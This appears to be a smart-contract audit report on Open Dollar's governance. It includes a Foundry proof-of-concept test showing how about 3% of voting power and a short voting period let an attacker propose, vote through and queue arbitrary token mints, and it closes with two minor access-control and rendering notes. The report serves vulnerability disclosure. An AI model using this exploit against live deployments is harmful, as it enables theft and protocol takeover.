Open Dollar - fibonacci's results

Lines of code

https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/gov/ODGovernor.sol#L43 https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/gov/ODGovernor.sol#L41 https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/script/Common.s.sol#L41-L92

Vulnerability details

Impact

Approximately 3% of the voting power is enough to reach a quorum and execute any proposal.

GovernorVotesQuorumFraction(3)

Furthermore, the short voting period (15 blocks, about a few minutes on Arbitrum chain) heightens the probability of a successful attack. This limited timeframe leaves minimal room to react and vote against malicious proposals.

GovernorSettings(1, 15, 0)

The ODGovernor contract can not only modify Vault721 parameters but is also granted authorization within other core components of the protocol, including safeEngine, systemCoin, protocolToken, etc. This allows an attacker to perform various actions, including, but not limited to:

1. Minting an arbitrary number of tokens.
2. Modifying core protocol components.

Therefore, the cost of this attack is low relative to the amount of possible profit.

Proof of Concept

Add POC.t.sol file to the od-contracts/test/nft/goerli/ folder. Run the test with forge t --rpc-url=$RPC_URL --mc POC.

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;

import 'forge-std/Test.sol';
import {GoerliDeployment} from '@script/GoerliDeployment.s.sol';
import {IVotes} from '@openzeppelin/governance/utils/IVotes.sol';
import {IAccessControl} from '@openzeppelin/access/IAccessControl.sol';
import {IERC20} from '@openzeppelin/token/ERC20/IERC20.sol';

contract POC is Test, GoerliDeployment {
    address immutable attacker = makeAddr("attacker");

    function setUp() external {
        // Mint governance tokens for attacker
        vm.prank(ODGovernor_Address);
        protocolToken.mint(attacker, 310 ether);
        vm.prank(attacker);
        IVotes(ProtocolToken_Address).delegate(attacker);

        // On the Goerli test network, the ODGovernor contract
        // has not been granted roles to schedule and execute operations
        vm.startPrank(TimelockController_Address);
        IAccessControl(TimelockController_Address).grantRole(timelockController.PROPOSER_ROLE(), ODGovernor_Address);
        IAccessControl(TimelockController_Address).grantRole(timelockController.EXECUTOR_ROLE(), ODGovernor_Address);
        vm.stopPrank();
    }

    function testMintArbitraryTokenAmount() external {
        IERC20 erc20 = IERC20(ProtocolToken_Address);
        uint256 totalSupply = erc20.totalSupply();
        uint256 attackerBalance = erc20.balanceOf(attacker);
        uint256 votingPower = attackerBalance * 1e18 / totalSupply;
        emit log_named_decimal_uint("votingPower", votingPower, 18);
        // Logs: votingPower: 0.030067895247332686

        // Propose
        address[] memory targets = new address[](2);
        targets[0] = address(systemCoin);
        targets[1] = address(protocolToken);
        
        uint256[] memory values = new uint256[](2);
        values[0] = 0;
        values[1] = 0;

        bytes[] memory calldatas = new bytes[](2);
        calldatas[0] = abi.encodeWithSignature("mint(address,uint256)", attacker, 1_000_000 ether);
        calldatas[1] = abi.encodeWithSignature("mint(address,uint256)", attacker, 1_000_000 ether);

        string memory description = "Mint arbitrary amount of system and protocol tokens";
        bytes32 descriptionHash = keccak256(bytes(description));

        uint256 propId = odGovernor.propose(targets, values, calldatas, description);

        // Vote
        vm.startPrank(attacker);
        vm.roll(block.number + 2);
        odGovernor.castVote(propId, 1);

        // Schedule propose execution
        vm.roll(block.number + 15);
        odGovernor.queue(targets, values, calldatas, descriptionHash);
        vm.stopPrank();
    }
}

Tools Used

Manual review, tests

Recommended Mitigation Steps

Review quorum threshold.

Assessed type

Governance

1. The ODSafeManager contract has functions for adding and removing a safe from the user's list of safes. One of these functions uses the safeAllowed modifier, while the other does not. This means that users can add any safe to their list of safes, but they can only delete safes that they own. It seems that both functions should either have the modifier or neither of them should.

/// @inheritdoc IODSafeManager
function addSAFE(uint256 _safe) external {
  SAFEData memory _sData = _safeData[_safe];
  _usrSafes[msg.sender].add(_safe);
  _usrSafesPerCollat[msg.sender][_sData.collateralType].add(_safe);
}

/// @inheritdoc IODSafeManager
function removeSAFE(uint256 _safe) external safeAllowed(_safe) {
  SAFEData memory _sData = _safeData[_safe];
  _usrSafes[_sData.owner].remove(_safe);
  _usrSafesPerCollat[_sData.owner][_sData.collateralType].remove(_safe);
}

https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/proxies/ODSafeManager.sol#L234-L246

2. The setSafeManager function in the Vault721 contract does not update the NFTRenderer's implementation of safeManager, resulting in incorrect data source for rendering token URIs.

function setSafeManager(address _safeManager) external onlyGovernor {
  _setSafeManager(_safeManager);
}

function _setSafeManager(address _safeManager) internal nonZero(_safeManager) {
  safeManager = IODSafeManager(_safeManager);
}

https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/proxies/Vault721.sol#L126-L128